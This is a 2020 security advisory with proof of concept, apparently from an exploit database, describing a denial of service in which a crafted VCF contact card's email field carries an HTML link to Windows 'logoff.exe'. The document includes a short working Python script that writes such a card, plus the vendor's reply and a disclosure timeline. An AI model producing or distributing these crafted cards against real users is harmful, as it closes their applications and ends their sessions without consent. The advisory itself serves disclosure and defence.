95c6eeab79
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93 lines
No EOL
3.2 KiB
Text
93 lines
No EOL
3.2 KiB
Text
# Exploit Title: Microsoft Outlook VCF cards - Denial of Service (PoC)
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# Date: 2020-01-04
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# Exploit Author: hyp3rlinx
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# Vendor Homepage: www.microsoft.com
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[+] Credits: John Page (aka hyp3rlinx)
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[+] Website: hyp3rlinx.altervista.org
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[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-VCF-MAILTO-LINK-DENIAL-OF-SERVICE.txt
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[+] twitter.com/hyp3rlinx
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[+] ISR: ApparitionSec
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[Vendor]
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www.microsoft.com
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[Product]
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A VCF file is a standard file format for storing contact information for a person or business.
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Microsoft Outlook supports the vCard and vCalendar features.
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These are a powerful new approach to electronic Personal Data Interchange (PDI).
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[Vulnerability Type]
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Mailto Link Denial Of Service
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[CVE Reference]
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N/A
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[Security Issue]
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Windows VCF cards do not properly sanitize email addresses allowing for HTML injection.
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A corrupt VCF card can cause all the users currently opened files and applications to be closed
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and their session to be terminated without requiring any accompanying attacker supplied code.
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This can be done by crafting the Mailto link to point to Windows "logoff.exe". The corrupt VCF card can then
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kill all users applications and also log the target off their computer, if the VCF card is opened in
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using Windows Contacts and the link is clicked.
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The logoff.exe executable lives in "C:\Windows\System32" and can terminate applications and log out users without requiring args.
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This probably will affect Windows 7 the most as Windows 10 can possibly default opening VCF files in other programs
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like (People). However, users can possibly still choose to open the VCF in Contacts by right-click the file.
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Note, this exploit requires user interaction.
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[Exploit/POC]
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"VCF_DoS.py"
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dirty_vcf=(
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'BEGIN:VCARD\n'
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'VERSION:4.0\n'
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'FN:Session Terminate PoC - ApparitionSec\n'
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'EMAIL:<a href="logoff">DoS@microsoft.com</a>\n'
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'END:VCARD')
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f=open("DoS.vcf", "w")
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f.write(dirty_vcf)
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f.close()
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print "VCF Denial Of Service card created!"
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print "By hyp3rlinx"
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[POC Video URL]
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https://www.youtube.com/watch?v=P4OGN7pZLSg
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[Network Access]
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Local
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[Severity]
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Medium
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[Disclosure Timeline]
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Vendor Notification: January 2, 2020
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MSRC : "In order to investigate your report I will need an explanation on how an attacker could use the information
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to exploit another user remotely without the use of social engineering... As such, this thread is being closed"
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: January 3, 2020
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January 4, 2020 : Public Disclosure
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[+] Disclaimer
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The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
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Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
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that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
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is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
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for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
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or exploits by the author or elsewhere. All content (c).
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hyp3rlinx |